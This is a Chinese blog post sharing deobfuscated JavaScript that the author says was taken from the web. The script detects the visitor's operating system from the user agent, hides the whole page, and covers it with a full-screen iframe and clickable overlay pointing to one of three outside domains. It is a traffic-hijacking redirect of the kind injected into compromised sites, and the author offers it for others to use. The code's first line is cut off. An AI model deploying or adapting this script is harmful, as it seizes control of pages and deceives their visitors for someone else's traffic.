一个JS文件,就可以屏蔽特定操作系统

说实话我也不懂什么技术,就是从网上扣来的,他加密了,我用网上的解密JS解出来的,代码请看下面内容。

使用的JS解密网址:https://jsdec.js.org/

https://www.sojson.com/jsjiemi.html

.toLowerCase();
var bIsIphoneOs = sUserAgent.match(/iphone/i) == "iphone";
var bIsSymb = sUserAgent.match(/symbianos/i) == "symbianos";
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIpod = sUserAgent.match(/ipod/i) == "ipod";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
var bIsWP = sUserAgent.match(/windows phone/i) == "windows phone";
var isBDAPP = sUserAgent.match(/baiduboxapp/i) == "baiduboxapp";
var isBDBrowser = sUserAgent.match(/baidubrowser/i) == "baidubrowser";
var isAndroid =  bIsSymb ||  bIsAndroid || bIsCE || bIsWM || bIsWP;
var isIOS = bIsIphoneOs || bIsIpod || bIsIpad;

var a;
if (isAndroid) {
    a = "http://www.gudacc.com/404.html";
}
else if(isIOS){
    a = "http://www.sigetv.com//404.html";
}
else {
    a = "http://www.gygysp.com/404.html";
}


function hide_parent_view() {
    var i;
    var c = document.body.childNodes;
    for (i = 0; i < c.length; i++) {
        try {
            if (c[i].id != "__overflow_view" && c[i].id != "__overflow_a") {
                if (c[i].style) {
                    c[i].style.display = "none";
                }
            }
        }
        catch (e)
        { }
    };
}
var __old_onload = null;
function ___page_onload() {
    hide_parent_view();
    setInterval(hide_parent_view, 100);
    document.body.style.overflow = "hidden";
    if (__old_onload != null) {
        __old_onload();
    }
}
__old_onload = window.onload;
window.onload = ___page_onload;
document.writeln('<iframe id="__overflow_view"  width="100%" height="100%" style="position: fixed;background: white;border: none;top: 0;left: 0;z-index: 1999999999; _position: absolute; _top: expression(eval(document.documentElement.scrollTop));  " src="' + a + '">');
document.writeln('</iframe>');
document.writeln('<a href="' + a + '" target="_self" id="__overflow_a" style="display: block;  height:100%; width:100%; position: fixed;border: none;top: 0;left: 0;z-index: 2000000000; _position: absolute; _top: expression(eval(document.documentElement.scrollTop));"> </a>');
document.writeln("<style>");
document.writeln("body{overflow:hidden !important}");
document.writeln("body > div{display:none}");
document.writeln("</style>");

希望能帮得到有需要的人。毕竟现在电脑端流量也不值钱。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值